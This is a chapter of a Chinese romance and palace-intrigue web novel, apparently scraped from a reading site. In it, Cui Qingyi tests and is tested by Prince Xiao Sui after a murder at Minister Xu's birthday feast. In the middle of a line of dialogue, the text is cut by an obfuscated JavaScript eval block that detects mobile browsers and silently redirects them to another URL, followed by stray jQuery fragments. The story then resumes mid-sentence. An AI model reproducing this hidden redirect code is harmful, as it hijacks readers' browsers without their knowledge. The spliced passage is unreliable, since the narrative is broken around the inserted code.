29. 试探

崔清漪掏出帕子,轻轻擦了擦自己的唇角,旁边的烛火踉踉跄跄,跌入了她的余光之中。


这场亲昵宛如一场虚无缥缈的梦,竟让她有些看不清戏中的这场花前月下了。


萧绥见她红着脸,低头不言语,于是眯了眯眼,慢条斯理地开口:“害羞了?”


“没有。”


“那继续。”


崔清漪细弱着声音:“你才醒没多久,再这样下去……不利于养伤。”


反正她今晚想说的说了,想问的也都问了,现下只想快刀斩乱麻,痛痛快快回她的沁水居。


正思虑着,萧绥发颤地“嘶”了一声,崔清漪疑惑,但还是凑着身子去看他的后背:“怎么了?是不是又碰……”


“唔……轻点,你身上还有伤。”她从那温柔乡中不自觉地溢出一口气。


萧绥身子不好乱动,只得骗她离自己近一点,因为只有这样,他才能用另一只手掌摁住她的后颈。


而她本来坐在床上的,此时的腿和膝盖却跪在旁边,为了使上力,她轻柔地弯着腰,身体宛如一条丝萝,向里缠住了萧绥的唇舌。


远远望去,崔清漪宛如一个刚从玉宇琼楼飞临人间的神女,向下施舍着自己的爱与情。


可若再这么亲下去,只怕待会儿林书臣他们进来会看到,搞得两头尴尬。


崔清漪窘迫,闭着眼尽力从虎口逃出生天,只那一瞬,唇瓣宛如糖渍后的红果,在烛火的映衬之下,显得格外晶莹透亮。


萧绥呼吸凌乱,飘飘拂拂地望着她,见她唇珠通红,于是滚了滚喉咙,接着便云淡风轻地闭上了眼。


他躺在那里,心下饱胀,身如寒潭。


崔清漪扭头,再次把唇边的水渍擦掉,起身穿上外衫,娇滴滴地坐在了床边。


踌躇了半响,崔清漪偏头看他:“王爷让我说了这么多,自己怎么不说话了?”


“你担心的事,明日就会有结果。”


萧绥透了一口气,抬手,摩挲着自己的太阳穴,经崔清漪方才一说,他已成算在心。


徐怀瑾参与其中,徐相也参与其中,那他二哥也逃不开了,既然如此,那不如让这桩罪名在他们身上都溜一遍。


看看谁会出来,揽下这桩罪名。


不过,他猜,大概率会是那个人。


“什么结果?”


崔清漪故作疑惑,她何尝不知刚刚萧绥在思虑什么,他定是因为自己的那番话,对徐怀瑾有了深不可测的怀疑。


萧绥意味不明地笑了笑:“卿卿这是明知故问。”


“我哪有明知故问?明明是你,还没说几句话就开始……”


崔清漪淡淡的一句话,却让萧绥听得眼前一亮一暗的。


“就开始什么?”他故意问她。


崔清漪没好气,鼓着红晕,反驳他:“你才是明知故问。”


萧绥愉悦一笑,但从崔清漪的角度看来,这倒是个好机会,若此时能把握住了,兴许日后就不用在萧绥身上浪费时间了。


于是她低垂着眼,猫着身子,从上至下直溜溜地盯着萧绥的眼睛。


萧绥眯了眯眼,克制着隐匿的汹涌,崔清漪从容优雅地将自己的双腿夹住,甚至两只手也撑在自己的耳旁,她这是要做什么?


“王爷上午说要给我和离书,还作数吗?”她居高临下,双眸清亮含水,怯生生地看着他。


萧绥滚了滚喉咙,不置可否:“你想要?”


“为何不想?”


见萧绥不语,崔清漪胆子反而更大了一些:“君子一言,驷马难追,王爷今日可是亲口对我说的,可不能不算数。”


萧绥隽冷着眼神,深情又冷漠的一声:“真想和离?”


一下子被看破,崔清漪的笑容凝固在脸上,任由他的眼神精雕细琢。


“没……”


崔清漪心虚,她本想着借上午的话,让萧绥老老实实把和离书给她,可如今看来,似乎是不大成了。


“我就是想着,日后若有一天王爷厌弃我了,我能直接拿着和离书,直接走人。”崔清漪虚晃一枪,身子又悄悄挪回了原来的地方,“王爷你放心,到时候,我绝对不会跟你添堵。”


“不会和离。”


萧绥面色如泥灰,看不出任何情绪。


“为……”


为什么?


崔清漪很想质问,但转念一想,她还是先不要这和离书了,她怕自己再坚持下去,别说等到和离那一天了,就现在,萧绥也能把自己藏着的秘密翻个底朝天。


她叹了口气,似真情流露:“为了王爷,我也不会和离的。”


自知违心,崔清漪笑着低下了头,可落在萧绥眼中却是不满。


她双手搭着,其中一个在衣袖中轻轻掐了另一个,崔清漪打了个意料之中的哈欠,萧绥矜冷开口:“回去吧。”


就等他这句话了,崔清漪浅笑了一下,缓慢起身,略带困意:“那明日我再来看王爷。”


萧绥“嗯”了一声,就看见崔清漪的身影如月光一般,轻快躲了出去。


崔清漪走出玉兰阁,正巧碰上林书臣端着药进来,微微一怔,低声道:“今日之事,多谢林大夫了。”


见她神色不好,林书臣疑惑:“你……”


话还没说完,崔清漪便迈着步子走到了拱桥上,这一路晦暗不明,等进了沁水居,她才脱下伪装,将门合上了。


背靠着门,崔清漪慢慢地滑坐在了地上,从下而上的凉意倏然让她回了神。


现下的处境,宛如烛火中欲坠未坠的泪珠,崔清漪不由得忧心起了明天,明天一早,这些消息便会从四面八方传来。


不管是宫里的,还是徐家的,甚至是自己的,都有可能纠葛在一起。


她摇了摇头,当下之急还是自己的事,她还是不去掺杂宫里的事了。


接下来,静观其变便是。


崔清漪拖着身子,昏昏沉沉地躺在了床上,最后什么时候睡去的,她也不记得了。


*


“姑娘!”


早在崔府的时候,昙云就知道崔清漪不爱在晨时被打扰,可昨日的事竟翻起了这么大的浪,她也只能悄默声进了沁水居。


意识到有人喊,崔清漪缓缓睁开眼睛,恍惚间确认是昙云,也不恼,模糊开口:“怎么了昙云?”


昙云二话不说,便将她从床上拉了起来,担心地说道:“姑娘,外面现在都在说,徐四小姐为救徐相,死了。”


“什么?!”


传出来怎么会是这样的话……


崔清漪的手掌像是被蜜蜂拧咬了一般,手掌兀自发疼,就连心也惊愣了起来。


昨晚听了昙云的话,她真以为徐相会对外称徐络婉旧疾发作,没想到,这老狐狸居然算的这么狠。


“宫里那边什么消息?”她眉心聚拢,深觉不对。


昙云换了口气,低声道:“今早,宫里来了位公公,只是不知,具体和王爷说了什么。”


崔清漪眯着眼,掀开被褥就要起身,忽然又想到什么,于是她挑眉冷笑道:“管他是什么,和咱们没关系就行,毕竟这局面是徐相他们挑起来的。”


“姑娘的意思是?”


“徐相那个老狐狸,之所以这样说,我猜是为了救徐怀瑾。”


“救徐公子?”昙云不解。


“昨日徐相寿辰,黄昏回来时,王爷便在半路遇到了刺客,甚至还受了伤。昙云你说,这桩罪责在谁?”


“当然是徐家。”


崔清漪微微一笑:“不错,若是行刺之人没找出来,这桩罪责自然便落在了徐家人头上。不过王爷性命无碍,他们顶多也是护卫不周,圣上面上斥责几句就过去了。”


“可若是找出了行刺之人


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200383|163376||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,发现是徐家人干的,昙云你说,那位徐相还能坐的住吗?”


“难怪,难怪徐相说徐小姐是为了救他才死的。因为只有这样,才能和行刺之人撇开关系。那姑娘……我们送徐小姐的离开,是不是恰好帮了他们?”


崔清漪气息沉稳,语气平静道:“无论帮到了谁,我们现在的目标就是找出当年背后之人,既然昨晚一致认定徐家嫌疑最大,那就不妨看他们引火上身。”


“姑娘为何会这样说?”昙云再次陷入迷惑。


崔清漪一笑,轻轻拍了拍昙云的手:“先帮我穿衣裳,待会儿去玉兰阁就知道了。”


昙云狐疑,嘟着嘴按照崔清漪的吩咐,替她穿戴好了衣裳。


她早已料到,今早还有一出戏要在萧绥面前演,只要这场戏不出差错,日后萧绥便不会对她有什么疑心了,毕竟站在他的角度,她和他是一条路上的人。


院中的妈妈和丫头们各忙着各自的事,她们也都换上夏衣,晨风一吹,裙角乍起,看起来倒十分清新透凉。


用过饭后,崔清漪掀开卷帘,便去了玉兰阁,拱桥下有一池活水,水中娇养的荷花,如今也散出了该有的清香。


刚进门,崔清漪便看到六安正在给萧绥的后背上药,于是她摆了摆手:“六安,让我来,你去后厨看着王爷的药。”


她故意支开六安,只留下昙云在门口守着,为的就是待会儿这一出大戏。


“今日怎么起这么早?”萧绥背对着她,并未扭头。


“我担心王爷,吃罢饭便来了,不成吗?”


崔清漪捏着药瓶边缘,从中舀了一点月白色的药,轻微的覆上了萧绥的后背上的红痕。


“你来,我心甚喜。”


她心尖一颤,居然伤的这么深,怪不得昨晚她没用多大劲,萧绥便忍不住溢出了痛声。


这下让她更有些惭愧了。


“王爷昨晚睡得好吗?”


崔清漪忍不住开口,她还是为自己画上了眼妆,穿上了适宜的戏袍。


“只怕睡太好,命就没了。”


萧绥幽幽开口,他何尝不知外面发生了什么。


“王爷为何这样说?”崔清漪故作彷徨。


“有件事要和你说,不过你得答应我,不许去徐家。”


萧绥后半夜好不如容易睡下,天没亮,宫里便来了人,本以为是父皇派来问候自己病情的,没想到竟是来陈述昨日之事的。


他那时心如寒冰,待那公公走后,一瞬便跌入了谷底。


就这样,他在谷底坐到了天亮。


他想,有些事,崔清漪是该知道的,或者说,他该看看她对这些事的反应。


“我才不会再去徐家呢,王爷说吧。”


崔清漪心跳发颤,手却依旧温和,像是在蓄意着接下来的眼泪。


“今早,宫里来人说,徐相寿宴上出现了刺客,在西苑刺杀徐相不成,反而杀了徐络婉,就连我,也没逃出对方的魔掌。”


崔清漪的手被绊在他的伤痕之处,片刻凉意,萧绥意识到了她的失神,于是缓缓转过身子,连带她手中的药瓶也失了重。


“啪嚓”的一声,崔清漪的眼泪轰然冲破牢笼,直刷刷地落在了手背上。


“这不可能,我昨日才见了她,她怎么会死呢?”


许是掌握了技巧,崔清漪流出的泪很漂亮,光影渗透之下,宛如一颗颗透亮的琉璃珠,闪闪烁烁。


见此场面,萧绥喉头一紧,忍着情绪,伸手直接将她靠在了怀里。


他似乎不该这样试探她。


“这不可能,这绝对不可能。”


她低头,边流泪,边诉说着隐忍的不满。


湿嗒嗒的泪水顺着萧绥的里衣,一路拐弯抹角,流到了他的心里。


他此刻才明白,她昨日的话并未骗自己。


连爱也是。